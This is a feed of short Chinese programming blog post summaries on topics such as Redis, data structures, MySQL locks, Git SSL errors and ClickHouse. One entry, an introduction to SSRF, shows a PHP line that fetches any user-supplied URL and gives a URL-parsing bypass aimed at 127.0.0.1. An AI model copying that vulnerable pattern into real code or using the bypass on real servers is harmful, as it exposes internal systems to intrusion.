笔者（博哥）具有10多年的开发经验，2017年开始做算法试题并在公众号发布试题讲解，经常游走在全球30多个算法网站之间，累计做题2000多道，对算法试题有自己独特的解题思路和技巧。&#xA;笔者写这本书的初衷是希望能够帮助更多的程序员快速学习算法，我们都知道算法在整个IT行业算是比较难的，之前有很过程序员通过公众号加笔者微信，请教关于算法的题，刚开始笔者一一进行了回复，后来随着咨询量越来越大，笔者意识到大家迫切地需要算法相关知识的系统指导。结合笔者过往的写作和从业经历，便着手写一本算法书籍，希望能欧帮助大家更好地学习算法，于是这本《算法秘籍》就诞生了。&#xA;这本书的知识覆盖范围全面，总共分为13个章节，先是详细介绍了常见的八大数据结构。后面都是我们比较常见的算法题，其中包括了二叉树的Morris遍历，KMP算法，马拉车算法等经典题型。&#xA;关于数据结构，大家普遍认为难度较大的可能就是图了，本书对图的分类，图的表示方式，图的遍历，以及图的各种经典算法比如迪杰斯特拉算法，普里姆算法，拓扑排序等都有大量介绍。&#xA;本书的内容 本书以Java为描述语言，介绍了计算机编程中常用的数据结构和算法，主要内容如下。&#xA;第1章：主要介绍了8种数据结构，包括数组、链表、队列、栈、散列表、树、堆、图，然后每种数据结构又有细分，比如介绍树的时候有完全二叉树、满二叉树、二叉搜索树、AVL树、红黑树、字典树、哈夫曼树、线段树、笛卡儿树等。图的介绍中也有一些经典的算法，比如迪杰斯特拉算法、弗洛伊德算法、普里姆算法和克鲁斯卡尔算法等。&#xA;第2章：介绍了几种经典排序算法，以及它们的稳定性分析。&#xA;第3章：主要介绍了一些位运算和常见操作符，还有一些简单的操作和使用技巧，如有限状态机和相关示例讲解。&#xA;第4章：介绍了和树有关的知识，比如树的遍历方式，包括DFS遍历、Morris遍历，以及BFS遍历等。&#xA;第5章：分析了递归的原理和示例练习，可以把它看作是对一棵树的DFS遍历。&#xA;第6章：主要介绍了回溯算法的使用，然后得出回溯算法的使用模板，以及一些经典示例，还有一些重复问题和不符合条件的修剪分支。&#xA;第7章：主要介绍贪心算法的使用和存在的不足。&#xA;第8章：分别介绍了相向双指针、同向双指针和快慢双指针的使用技巧，还有滑动窗口的介绍和使用模板，以及大小可变窗口、固定窗口、只增不减窗口等。&#xA;第9章：主要介绍了BFS和DFS的使用模板和示例练习。&#xA;第10章：主要介绍了一维前缀和与二维前缀和的使用。&#xA;第11章：介绍动态规划和一些经典问题的讲解，如背包问题、组合与排列问题等。&#xA;第12章：通过三国人物的故事，生动形象地介绍了并查集的使用、并查集优化、并查集路径压缩以及合并优化等。&#xA;第13章：介绍了其他一些经典算法，比如KMP算法、马拉车算法、算术表达式的运算、牛顿迭代法求平方根、Base64编码等。&#xA;很荣幸，本书在编写过程中得到了业内专家的支持和认可。&#xA;购买方式 点击传送门： 传送门&#xA;备注：双十一限时五折！&#xA;算法秘籍 王一博 著&#xA;算法是编程的基石，开发的核心。&#xA;本书包含55个二维码，300多分钟视频，100多个知识点，50多个示例，适合程序员、计算机专业相关师生，以及对算法感兴趣的读者。&#xA;这是一本关于数据结构和算法的书，以Java为描述语言，介绍了计算机编程中常用的数据结构和算法。全书共13章，讲述了常见的数据结构、排序算法、位运算、树、递归、回溯算法、贪心算法、双指针和滑动窗口、BFS和DFS、前缀和、动态规划、并查集、其他经典算法等知识。本书内容丰富，实用性强，通过示例练习和问题分析等方式，详细讲解了与算法有关的知识点。本书附赠视频讲解二维码，以及源代码。</description>
    </item>
    <item>
      <title>KNX智能家居</title>
      <link>https://bchobby.github.io/posts/cb9540a6596f331f8b739648f6a803f8/</link>
      <pubDate>Wed, 08 Nov 2023 23:56:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb9540a6596f331f8b739648f6a803f8/</guid>
      <description>导语：随着科技的发展，智能家居系统已逐渐成为现代家庭的一部分。而KNX作为一种开放的智能家居系统标准，提供了各种灵活的解决方案。本文将介绍KNX智能家居工程设计的基本理念和步骤，帮助读者了解如何在家中打造智能、舒适、高效的居住环境。&#xA;正文：&#xA;一、什么是KNX智能家居系统&#xA;KNX是一种开放的智能家居系统标准，它可以集成家庭中的各种设备和系统，如照明、暖通空调、安防、音乐等。通过KNX系统，用户可以通过智能手机、平板电脑或遥控器对家居设备进行集中控制。&#xA;二、KNX智能家居工程设计步骤&#xA;1.需求分析：在设计KNX智能家居系统之前，首先需要对家庭的需求进行分析，确定需要自动化的功能和设备，例如照明控制、温度调节、电器联动等。&#xA;2.系统设计：基于用户需求，设计一个合理、高效的KNX系统结构。该结构包括主控设备、传感器、执行器和通信网络等组成部分。通过合理的布线和设备的选择，确保系统的稳定性和可靠性。&#xA;3.设备安装：根据设计方案，将传感器和执行器等设备安装在合适的位置。确保设备正常工作，并与KNX系统进行连接。&#xA;4.编程调试：在系统安装完成后，进行编程调试工作。通过KNX编程软件，设置各个设备之间的联动关系和触发条件，以实现自动化控制。&#xA;5.用户培训：一旦系统调试完毕，用户需要对系统的操作和功能进行培训。用户应该学会如何使用遥控器、智能手机等控制设备，以及如何进行系统设置和定时任务等。&#xA;三、KNX智能家居系统的优势&#xA;1.灵活性：KNX系统采用开放的标准，能够集成各种设备和系统，同时支持多个设备厂商的互操作性。&#xA;2.可扩展性：KNX系统可以根据需要进行扩展，满足不同居住环境和功能的要求。&#xA;3.能耗管理：通过智能控制和定时任务，KNX系统可以有效管理能耗，实现节能和环保。&#xA;4.舒适性：KNX系统可以根据用户的需求和喜好，自动调节室内环境，创造更舒适的居住体验。&#xA;结语：&#xA;KNX智能家居工程设计是打造智能、舒适、高效的居住环境的关键。通过合理的需求分析、系统设计和设备安装，以及编程调试和用户培训，可以实现一个功能完善、稳定可靠的KNX智能家居系统。希望本文对读者有所帮助，如果有更多疑问或深入了解KNX智能家居系统，欢迎留言交流。</description>
    </item>
    <item>
      <title>Redis系列之常见数据类型应用场景</title>
      <link>https://bchobby.github.io/posts/6799d0f239b205153c2626194f7d83b8/</link>
      <pubDate>Wed, 08 Nov 2023 22:36:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6799d0f239b205153c2626194f7d83b8/</guid>
      <description>文章目录 String简单介绍常见命令应用场景 Hash简单介绍常见命令应用场景 List简单介绍常见命令应用场景 Set简单介绍常见命令应用场景 Sorted Set(Zset)简单介绍常见命令应用场景 Bitmap简单介绍常见命令应用场景 附录 Redis支持多种数据类型，比如String、hash、list、Set、SortedSet、Streams、Bitmap、Hyperloglog、Geo（物理位置）等等，在 官网也给出了说明，本博客就挑一些比较常有的数据类型说说，本文例子基于Redisson实现 String 简单介绍 在Redis中，所有的数据都是key-value的数据结构存储的，那么在Redis中这个string类型的value值只能存储String类型的数据？其实不然，redis中string类型的value值是可以支持多种类型的，比如String、Number、Float、Bits等等，但是最大还是只能存储512M。Redis中key也是string类型存储的，所以最大也只能存储512M&#xA;常见命令 set、get命令就不演示了，下面给出一些常有命令&#xA;批量设置多个key&#xA;mset tkey1 tvalue tkey2 111 批量获取多个key值&#xA;mget tkey1 tkey2 获取长度&#xA;strlen tkey 字符串后面追加内容&#xA;append tkey tstring 获取指定范围的字符&#xA;# 取0~3之间的字符，返回1tst getrange tkey 0 3 key进行递增(整数)&#xA;# 返回1 incr ikey # 递增指定大小的值，返回124 incrby ikey 124 key进行递增(浮点数)&#xA;# 设置初始浮点数值 set fkey 1.2 # 在原来基础上递增2.4，返回3.6 incryfloat fkey 2.4 加上key过期时间&#xA;expire tkey 10 分布式锁实现，set if not exists，可以使用setnx单个命令，也可以使用set结合nx命令来实现</description>
    </item>
    <item>
      <title>报错RuntimeError: no valid convolution algorithms available in CuDNN</title>
      <link>https://bchobby.github.io/posts/e4e09b0998f68a29c2ec107b7aed5c48/</link>
      <pubDate>Wed, 08 Nov 2023 21:19:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4e09b0998f68a29c2ec107b7aed5c48/</guid>
      <description>报错信息如下RuntimeError: no valid convolution algorithms available in CuDNN 出现这个问题既不是cuda与cudnn版本不匹配，也不是英伟达显卡驱动需要更新！而是因为你的显存过低不能训练，解决办法是使用混精度训练！！！这样能减少近一半的显存！！！这种报错一般都是在自己电脑上跑才会出现的，或者你可以在服务器上跑，一般服务器显存是足够的。</description>
    </item>
    <item>
      <title>数据结构-双向链表</title>
      <link>https://bchobby.github.io/posts/50eb59ff1f6da11ca6e702912cd2731f/</link>
      <pubDate>Wed, 08 Nov 2023 20:31:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50eb59ff1f6da11ca6e702912cd2731f/</guid>
      <description>目录&#xA;1.带头双向循环链表：&#xA;2. 带头双向循环链表的实现：&#xA;双向链表初始化：&#xA;双向链表打印：&#xA;开辟节点函数：&#xA;双向链表头插：&#xA;双向链表尾插：&#xA;双向链表头删：&#xA;双向链表尾删：&#xA;双向链表查找：&#xA;双向链表在pos之前插入：&#xA;双向链表在pos位置删除：&#xA;双向链表的销毁：&#xA;3.完整代码：&#xA;test.c&#xA;List.h&#xA;List.c&#xA;4.测试：​编辑&#xA;5.顺序表和链表的区别&#xA;1.带头双向循环链表： 前面我们已经知道了链表的结构有8种，我们主要学习下面两种：&#xA;前面我们已经学习了无头单向非循环链表，今天我们来学习带头双向循环链表：&#xA;带头双向循环链表：结构最复杂，一般用在单独存储数据。实际中使用的链表数据结构，都是带头双向循环链表。另外这个结构虽然结构复杂，但是使用代码实现以后会发现结构会带来很多优势，实现反而简单了，后面我们代码实现了就知道了 带头双向循环链表不需要二级指针，因为我们刚开始就为其开辟了一个节点，叫做哨兵位头节点，它是结构体中的指针，用结构体指针就能改变它，而要改变结构体外面的指针才会用二级指针。&#xA;双向循环链表顾名思义，除了哨兵位头节点以外，每个节点里面应该有两个指针，下面我们定义一个结构体：&#xA;typedef int ListDatatype; typedef struct ListNode { struct ListNode* prev; struct ListNode* next; ListDatatype data; }LTNode; prev指向前一个节点，next指向后一个节点。&#xA;2. 带头双向循环链表的实现： 双向链表初始化： LTNode* InitList() { LTNode* phead = BuyList(-1); phead-&amp;gt;next = phead; phead-&amp;gt;prev = phead; return phead; } 双向循环链表开始时头和尾都指向自己：&#xA;BuyList函数的功能是创建节点，我们在初始化时用它创建哨兵位头节点，因为后面还有多次使用，所以把它封装为函数。&#xA;双向链表打印： void Print(LTNode* phead) { LTNode*cur = phead-&amp;gt;next; printf(&#34;</description>
    </item>
    <item>
      <title>c&#43;&#43; 获取时间戳、13位时间戳转为时间格式</title>
      <link>https://bchobby.github.io/posts/61329f8c8b26114258ef13012c561dd5/</link>
      <pubDate>Wed, 08 Nov 2023 20:27:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61329f8c8b26114258ef13012c561dd5/</guid>
      <description>1.获取时间戳 //获取日期 SYSTEMTIME st; CString StrTime; GetLocalTime(&amp;amp;st); //获取日期、时间 StrTime.Format(_T(&#34;%.4d-%.2d-%.2d %.2d:%.2d:%.2d.%.3d&#34;), st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds); //2022-07-23 09:49:04.358 2. 13位时间戳转为时间格式 int64_t TimeUp = 1681436983403;&#x9;//13位时间戳 auto milli = TimeUp + (long long)8 * 60 * 60 * 1000; auto mTime = std::chrono::milliseconds(milli); auto tp = std::chrono::time_point&amp;lt;std::chrono::system_clock, std::chrono::milliseconds&amp;gt;(mTime); auto tt = std::chrono::system_clock::to_time_t(tp); std::tm* now = gmtime(&amp;amp;tt); CString ImgTime; ImgTime.Format(L&#34;%.4d-%.2d-%.2d %.2d:%.2d:%.2d.%.3d\n&#34;, now-&amp;gt;tm_year + 1900, now-&amp;gt;tm_mon + 1, now-&amp;gt;tm_mday, now-&amp;gt;tm_hour, now-&amp;gt;tm_min, now-&amp;gt;tm_sec, TimeUp % 1000); Printf(ImgTime ); 执行结果：</description>
    </item>
    <item>
      <title>Python 实现动态动画心形图</title>
      <link>https://bchobby.github.io/posts/c10f73e484de4296670a1dadef523483/</link>
      <pubDate>Wed, 08 Nov 2023 19:48:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c10f73e484de4296670a1dadef523483/</guid>
      <description>在抖音上刷到其他人用 matlab 实现的一个动态心形图，就想也用 Python 实现，摸索了两种实现方式，效果如下：&#xA;方法一： 利用循环，结合 pyplot 的 pause 与 clf 参数实现图像的动态刷新 import matplotlib.pyplot as plt import numpy as np # type %matplotlib qt to shown figure in a separate window x = np.linspace(-1.8, 1.8, 1000) alpha = 1 while alpha &amp;lt;= 21: plt.xlim(-3, 3) plt.ylim(-2, 4) y = abs(x)**(2/3) + 0.9*np.sqrt(3.3 - x**2)*np.sin(alpha*(np.pi)*x) plt.plot(x, y) plt.text(-1.6, 3, r&#39;$f(x)=x^{2/3}+0.9(3.3-x^2)^{1/2}\sin(\alpha\pi x)$&#39;) alpha_s = str(round(alpha, 2)) tx = plt.text(-0.5, 2.5, r&#39;$\alpha=$&#39; + alpha_s) plt.</description>
    </item>
    <item>
      <title>python非线性规划</title>
      <link>https://bchobby.github.io/posts/f0d4e158e528099f6ba7abf81eab1b57/</link>
      <pubDate>Wed, 08 Nov 2023 18:16:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0d4e158e528099f6ba7abf81eab1b57/</guid>
      <description>Python中非线性规划通常使用优化库来处理，其中SciPy库是一个流行的选择。SciPy包含了用于非线性规划的优化算法，可以用来解决各种非线性优化问题。下面是一个简单的非线性规划的示例，使用SciPy来最小化一个非线性目标函数：&#xA;首先，确保你已经安装了SciPy库。如果尚未安装，可以使用以下命令：&#xA;pip install scipy&#xA;然后，可以使用以下代码示例来解决非线性规划问题：&#xA;import numpy as np&#xA;from scipy.optimize import minimize&#xA;# 定义目标函数&#xA;def objective_function(x):&#xA;return x[0]**2 + x[1]**2&#xA;# 初始猜测值&#xA;initial_guess = [1.0, 1.0]&#xA;# 设置约束条件&#xA;constraints = ({&#39;type&#39;: &#39;eq&#39;, &#39;fun&#39;: lambda x: x[0] + x[1] - 1})&#xA;# 执行非线性规划&#xA;result = minimize(objective_function, initial_guess, constraints=constraints)&#xA;if result.success:&#xA;print(&#34;优化成功：&#34;)&#xA;print(&#34;最优解：&#34;, result.x)&#xA;print(&#34;最小值：&#34;, result.fun)&#xA;else:&#xA;print(&#34;优化失败：&#34;, result.message)&#xA;在上面的示例中，我们定义了一个简单的二次目标函数x[0]**2 + x[1]**2，并且添加了一个线性等式约束x[0] + x[1] - 1 = 0。然后，我们使用minimize函数来执行非线性规划，寻找最小值和最优解。你可以根据你的具体问题来修改目标函数和约束条件。&#xA;SciPy还提供了其他的非线性规划算法和选项，可以根据具体问题的需要进行调整。希望这个示例能帮助你入门Python中的非线性规划问题。</description>
    </item>
    <item>
      <title>unity - Blend Shape - 变形器 - 实践</title>
      <link>https://bchobby.github.io/posts/f2a87d9adad26d4bc4ed86340cdf3eb3/</link>
      <pubDate>Wed, 08 Nov 2023 17:19:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2a87d9adad26d4bc4ed86340cdf3eb3/</guid>
      <description>文章目录 目的Blend Shape 逐顶点 多个混合思路Blender3Ds maxUnity 中使用Project 目的 拾遗，备份&#xA;Blend Shape 逐顶点 多个混合思路 blend shape 基于： vertex number, vertex sn 相同，才能正常混合、播放&#xA;也就是 vertex buffer 的顶点数量一样，还有 triangles 的 index 要一致&#xA;这样 blend shape 才能逐个顶点计算&#xA;计算公式：使用一张大佬整理的图，大佬的文章：BlendShapes基础与拓展练习（面捕与物体变形）&#xA;Blender Shift+A 新建一个 sphere&#xA;选中&#xA;Tab 进入 Editor Mode，并且在 Data 页签属性的 Shape Keys 添加对应的 blend shape 状态&#xA;调整好每一个 Shape Keys (或是叫：blend shape) 的顶点位置&#xA;然后再 Object Mode 下，我们可以选中对应的 Shape Keys 然后调整 value 查看变形结果&#xA;最终我们尝试 K帧动画来查看 多个 shape keys 混合控制的情况</description>
    </item>
    <item>
      <title>vue3异步组件</title>
      <link>https://bchobby.github.io/posts/f6f4d886bead4c4f3b9725746970cc7d/</link>
      <pubDate>Wed, 08 Nov 2023 15:57:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6f4d886bead4c4f3b9725746970cc7d/</guid>
      <description>父组件中，子组件的加载一般是按照先后顺序加载的，子组件加载后才会加载父组件。&#xA;一个页面的子组件很多，由于会先加载子组件，那么父组件可能会出现比较长的白屏等待时间&#xA;大型项目，可能需要拆分应用为更小的块，并仅在需要时再从服务器加载相关组件Vue 提供defineAsyncComponent方法：&#xA;import { defineAsyncComponent } from &#39;vue&#39;; const AsyncComp = defineAsyncComponent(() =&amp;gt; { return new Promise((resolve, reject) =&amp;gt; { // ...从服务器获取组件 resolve(/* 获取到的组件 */); }); }); 使用import导入组件 得到的 AsyncComp 是一个包裹组件，仅在页面需要它渲染时才调用加载函数。另外，它还会将 props 传给内部的组件，所以你可以使用这个异步的包裹组件无缝地替换原始组件，同时实现延迟加载&#xA;import { defineAsyncComponent } from &#39;vue&#39;; const AsyncComp = defineAsyncComponent(() =&amp;gt; import(&#39;./components/MyComponent.vue&#39;)); 处理加载与错误的状态 异步操作不可避免地会涉及到加载和错误状态，因此 defineAsyncComponent() 也支持在高级选项中处理这些状态：&#xA;const AsyncComp = defineAsyncComponent({ // 加载函数 需要返回一个Promise，可以使用动态import的方式，也可以自己new Promise() loader: () =&amp;gt; import(&#39;./Foo.vue&#39;), // 加载异步组件时使用的组件，该组件会在异步组件加载时显示，如果异步组件加载很快，可能不会出现loading组件 loadingComponent: LoadingComponent, // 展示加载组件前的延迟时间，默认为 200ms delay: 200, // 加载失败后展示的组件，可以通过Promise的reject来测试 errorComponent: ErrorComponent, // 如果提供了一个 timeout 时间限制，并超时了 // 也会显示这里配置的报错组件，默认值是：Infinity timeout: 3000 }); 如果提供了一个加载组件，它将在内部组件加载时先行显示。在加载组件显示之前有一个默认的 200ms 延迟——这是因为在网络状况较好时，加载完成得太快，导致最终组件的替换可能看起来像是闪烁。</description>
    </item>
    <item>
      <title>解决 Git error: unable to get local issuer certificate问题</title>
      <link>https://bchobby.github.io/posts/31bf72f4c8e048e543b66b9d53db5e92/</link>
      <pubDate>Wed, 08 Nov 2023 15:52:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31bf72f4c8e048e543b66b9d53db5e92/</guid>
      <description> 在win11上使用git命令行克隆项目时出现 unable to get local issuer certificate问题，本文主要记录查找到的解决办法。&#xA;$ git clone https://lanedirt.tech/repo.git Cloning into &#39;repo&#39;... fatal: unable to access &#39;https://lanedirt.tech/repo.git/&#39;: SSL certificate problem: unable to get local issuer certificate 主要原因 主要原因是在安装git的时候选择HTTPS transport backend时选择了OpenSSL library, 更为详细原因见源链接&#xA;解决问题方法 不用重新安装git，可以直接修改git设置如下&#xA;git config --global http.sslbackend schannel </description>
    </item>
    <item>
      <title>MySQL查看是否锁表并解除锁</title>
      <link>https://bchobby.github.io/posts/69dc3ee414775c371b87a753e36ac0db/</link>
      <pubDate>Wed, 08 Nov 2023 14:50:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69dc3ee414775c371b87a753e36ac0db/</guid>
      <description> #查询是否有锁表 show open tables where in_use &amp;gt; 0; #查询被锁的表 SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS; #查询进程 show processlist; #杀死进程 kill xx; #查看正在锁的事务 select * from information_schema.INNODB_LOCKS; #杀死进程id（就是[select * from information_schema.INNODB_LOCKS; ]命令的trx_mysql_thread_id列） kill 线程ID #查看等待锁的事务 SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS; #查看服务器状态 show status like &#39;%lock%&#39;; #查看超时时间 show variables like &#39;%timeout%&#39;; #查询事务 SELECT * FROM information_schema.innodb_trx 字段解析 innodb_trx表： trx_id：事务ID。 trx_state：事务状态，有以下几种状态：RUNNING、LOCK WAIT、ROLLING BACK 和 COMMITTING。 trx_started：事务开始时间。 trx_requested_lock_id：事务当前正在等待锁的标识，可以和 INNODB_LOCKS 表 JOIN 以得到更多详细信息。 trx_wait_started：事务开始等待的时间。 trx_weight：事务的权重。 trx_mysql_thread_id：事务线程 ID，可以和 PROCESSLIST 表 JOIN。 trx_query：事务正在执行的 SQL 语句。 trx_operation_state：事务当前操作状态。 trx_tables_in_use：当前事务执行的 SQL 中使用的表的个数。 trx_tables_locked：当前执行 SQL 的行锁数量。 trx_lock_structs：事务保留的锁数量。 trx_lock_memory_bytes：事务锁住的内存大小，单位为 BYTES。 trx_rows_locked：事务锁住的记录数。包含标记为 DELETED，并且已经保存到磁盘但对事务不可见的行。 trx_rows_modified：事务更改的行数。 trx_concurrency_tickets：事务并发票数。 trx_isolation_level：当前事务的隔离级别。 trx_unique_checks：是否打开唯一性检查的标识。 trx_foreign_key_checks：是否打开外键检查的标识。 trx_last_foreign_key_error：最后一次的外键错误信息。 trx_adaptive_hash_latched：自适应散列索引是否被当前事务锁住的标识。 trx_adaptive_hash_timeout：是否立刻放弃为自适应散列索引搜索 LATCH 的标识。 innodb_locks表: lock_id：锁 ID。 lock_trx_id：拥有锁的事务 ID。可以和 INNODB_TRX 表 JOIN 得到事务的详细信息。 lock_mode：锁的模式。有如下锁类型：行级锁包括：S、X、IS、IX，分别代表：共享锁、排它锁、意向共享锁、意向排它锁。表级锁包括：S_GAP、X_GAP、IS_GAP、IX_GAP 和 AUTO_INC，分别代表共享间隙锁、排它间隙锁、意向共享间隙锁、意向排它间隙锁和自动递增锁。 lock_type：锁的类型。RECORD 代表行级锁，TABLE 代表表级锁。 lock_table：被锁定的或者包含锁定记录的表的名称。 lock_index：当 LOCK_TYPE=’RECORD’ 时，表示索引的名称；否则为 NULL。 lock_space：当 LOCK_TYPE=’RECORD’ 时，表示锁定行的表空间 ID；否则为 NULL。 lock_page：当 LOCK_TYPE=’RECORD’ 时，表示锁定行的页号；否则为 NULL。 lock_rec：当 LOCK_TYPE=’RECORD’ 时，表示一堆页面中锁定行的数量，亦即被锁定的记录号；否则为 NULL。 lock_data：当 LOCK_TYPE=’RECORD’ 时，表示锁定行的主键；否则为NULL。 innodb_lock_waits表: requesting_trx_id：请求事务的 ID。 requested_lock_id：事务所等待的锁定的 ID。可以和 INNODB_LOCKS 表 JOIN。 blocking_trx_id：阻塞事务的 ID。 blocking_lock_id：某一事务的锁的 ID，该事务阻塞了另一事务的运行。可以和 INNODB_LOCKS 表 JOIN。 </description>
    </item>
    <item>
      <title>浅谈SSRF</title>
      <link>https://bchobby.github.io/posts/ca449e6aac976749f6ee3775bedc4872/</link>
      <pubDate>Wed, 08 Nov 2023 11:50:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca449e6aac976749f6ee3775bedc4872/</guid>
      <description>SSRF浅谈 服务器端请求伪造，攻击目标是外网无法访问的内部系统。&#xA;例：&#xA;&amp;lt;?php echo file_get_contents($_GET[&#39;url&#39;]); ?&amp;gt; url=localhost/url.php?url=http://www.baidu.com&#xA;成功进行对百度的访问&#xA;SSRF危害 SSRF漏洞的验证 dnslog平台：requestbin&#xA;ctf题目：&#xA;如果远端访问IP与本地地址不一样，拒绝访问；一样输出flag&#xA;http://x.x.x.x/?url=flag.php&#xA;一些绕过 例：5.http://x.x.x.x/url.php?url=www.baidu.com@127.0.0.1(实际访问127.0.0.1）</description>
    </item>
    <item>
      <title>Pycharm中配置不了conda解释器</title>
      <link>https://bchobby.github.io/posts/c19ac212b591200876fab7d5f5d752b6/</link>
      <pubDate>Wed, 08 Nov 2023 11:48:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c19ac212b591200876fab7d5f5d752b6/</guid>
      <description>我安装的是pytorch的CPU版本，在Pycharm中配置conda环境时，每次添加完都不显示，搜遍了很多方法都没用。最后成功解决，这里将一些方法进行总结，方便大家解决问题。&#xA;我的情况和解决 问题情况以及显示 1.在Pycharm的日志环境idea.log（C:\Users\Deadl\AppData\Local\JetBrains\PyCharmCE2023.1\log）中，有这样一条信息&#xA;2.在重启几次pycharm之后，它显示执行权限不够（这也是我之前一直没有的）&#xA;CondaError: Unable to create prefix directory ‘E:\Anaconda3\envs…’.Check that you have sufficient permissions.&#xA;解决方法 利用管理员权限进入Pycharm，他自动识别出未添加的环境，成功配置上conda&#xA;整体解决思路 1.确定Anaconda环境变量配置正确 如果安装Anaconda时勾选了添加path，一般是配好的&#xA;确定pytorch安装成功 打开Anaconda Prompt，进入创建好的pytorch环境&#xA;activete PyTorch(创建的pytorch环境名称，我的是PyTorch） 检查是否安装成功&#xA;python import torch print(torch.__version__) 方法一：更改系统解释器 适用于日志同样报错的情况&#xA;更新成功后去添加conda解释器&#xA;方法二： Pycharm无法正确找到conda环境&#xA;参考这位大佬的回答和解决，链接 link</description>
    </item>
    <item>
      <title>springboot 发送邮件实战（完整代码）</title>
      <link>https://bchobby.github.io/posts/c8f9a0a6c906c0b481aff30714c78eae/</link>
      <pubDate>Wed, 08 Nov 2023 11:36:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8f9a0a6c906c0b481aff30714c78eae/</guid>
      <description>springboot 发送邮件实战 前言：在我们实际项目中，有一些需求涉及到使用邮箱发送邮件的功能。Spring 框架提供了使用JavaMailSender接口发送电子邮件的抽象，Spring Boot 为其提供了自动配置以及启动模块。所以我们使用实现邮件发送功能还是相对来比较简单，spring官网邮件发送功能：https://docs.spring.io/spring-boot/docs/current/reference/html/io.html#io.email&#xA;一、准备工作 发送邮箱要开启邮件服务(以163邮箱为例)&#xA;进入对应的发送邮箱的设置&#xA;开启IMAP或者POP3任意一个服务都可以&#xA;至此，准备工作已经结束。&#xA;二、进入项目代码环节 2.1 项目引入邮箱的依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-mail&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.2 邮件的基本配置 # 属性名称：属性类型 属性说明 # mail.smtp.user：String SMTP 的默认用户名。 # mail.smtp.host：String 要连接的 SMTP 服务器。 # mail.smtp.port：int 要连接的 SMTP 服务器端口，如果 connect() 方法没有明确指定一个。默认为 25。 # mail.smtp.connectiontimeout：int 以毫秒为单位的套接字连接超时值。这个超时是由 java.net.Socket 实现的。默认为无限超时。 # mail.smtp.timeout：int 以毫秒为单位的套接字读取超时值。这个超时是由 java.net.Socket 实现的。默认为无限超时。 # mail.smtp.writetimeout：int 以毫秒为单位的套接字写入超时值。此超时是通过对每个连接使用 java.util.concurrent.ScheduledExecutorService 来实现的， 该服务会在超时到期时安排线程关闭套接字。因此，使用此超时的开销是每个连接一个线程。默认为无限超时。 # mail.smtp.from：String 用于 SMTP MAIL 命令的电子邮箱地址。这将设置信封返回地址。默认为 msg.getFrom() 或 InternetAddress.getLocalAddress()。 注意：mail.smtp.user 以前用于此目的。 # mail.smtp.localhost：String SMTP HELO 或 EHLO 命令中使用的本地主机名。默认为InetAddress.</description>
    </item>
    <item>
      <title>clickhouse（一）两分片两副本集群搭建</title>
      <link>https://bchobby.github.io/posts/918d87ed3b5a881f47ac158be52ea3c2/</link>
      <pubDate>Wed, 08 Nov 2023 10:46:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/918d87ed3b5a881f47ac158be52ea3c2/</guid>
      <description>最近工作中遇到了clickhouse副本存储的问题，所以准备搭建一套clickhouse集群研究下，这里将搭建的过程和遇到的坑记录下，便于以后使用。下面是集群的大致分布以及具体的搭建流程。&#xA;1、准备两台虚拟机，分别安装clickhouse的服务端和客户端&#xA;准备的虚拟机是centos7。这里的安装过程是纯粹拷贝的官网命令，首先 验证虚拟机是否支持clickhouse的安装：&#xA;grep -q sse4_2 /proc/cpuinfo &amp;amp;&amp;amp; echo &#34;SSE 4.2 supported&#34; || echo &#34;SSE 4.2 not supported&#34;&#xA;其次，安装clickhouse需要的依赖：&#xA;sudo yum install yum-utils&#xA;sudo rpm --import https://repo.clickhouse.tech/CLICKHOUSE-KEY.GPG&#xA;sudo yum-config-manager --add-repo https://repo.clickhouse.tech/rpm/stable/x86_64&#xA;最后，一条语句安装clickhouse的服务端和客户端：&#xA;sudo yum install clickhouse-server clickhouse-client&#xA;官网还有更多安装方式（参考地址：https://clickhouse.tech/docs/en/getting-started/install/），特别是如果最后一条安装客户端服务端命令失败时，可以直接下载对应的rpm包，常见的下载client、server、common三个包，因为正常yum命令安装也是安装这三个包，官网点击位置如下：&#xA;下载的样例如下：&#xA;下载完后，rpm安装命令如下：&#xA;rpm -ivh clickhouse-common-static-21.7.2.7-2.x86_64.rpm clickhouse-client-21.7.2.7-2.noarch.rpm clickhouse-server-21.7.2.7-2.noarch.rpm&#xA;安装时，可能会需要输入默认用户的密码，一般是为空直接回车，如果设置了也没事，可以在安装完成后进入/etc/clickhouse-server/users.d/目录下，删除里面的文件即可。&#xA;2、启动和验证&#xA;这里仅是用于启动和验证刚才安装的服务是否可用，集群的验证在集群搭起来后进行。完成后，使用官网命令启动服务：&#xA;clickhouse-server --config-file=/etc/clickhouse-server/config.xml&#xA;这个命令会把clickhouse-server进程的信息持续打印在当前窗口，如果报用户权限问题，如下：&#xA;Effective user of the process (root) does not match the owner of the data (clickhouse). Run under &#39;sudo -u clickhouse&#39;</description>
    </item>
    <item>
      <title>TSN协议解读系列 | (3) Qci：说书唱戏劝人方</title>
      <link>https://bchobby.github.io/posts/5efc734db33771511d54138a56c8271c/</link>
      <pubDate>Wed, 08 Nov 2023 10:19:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5efc734db33771511d54138a56c8271c/</guid>
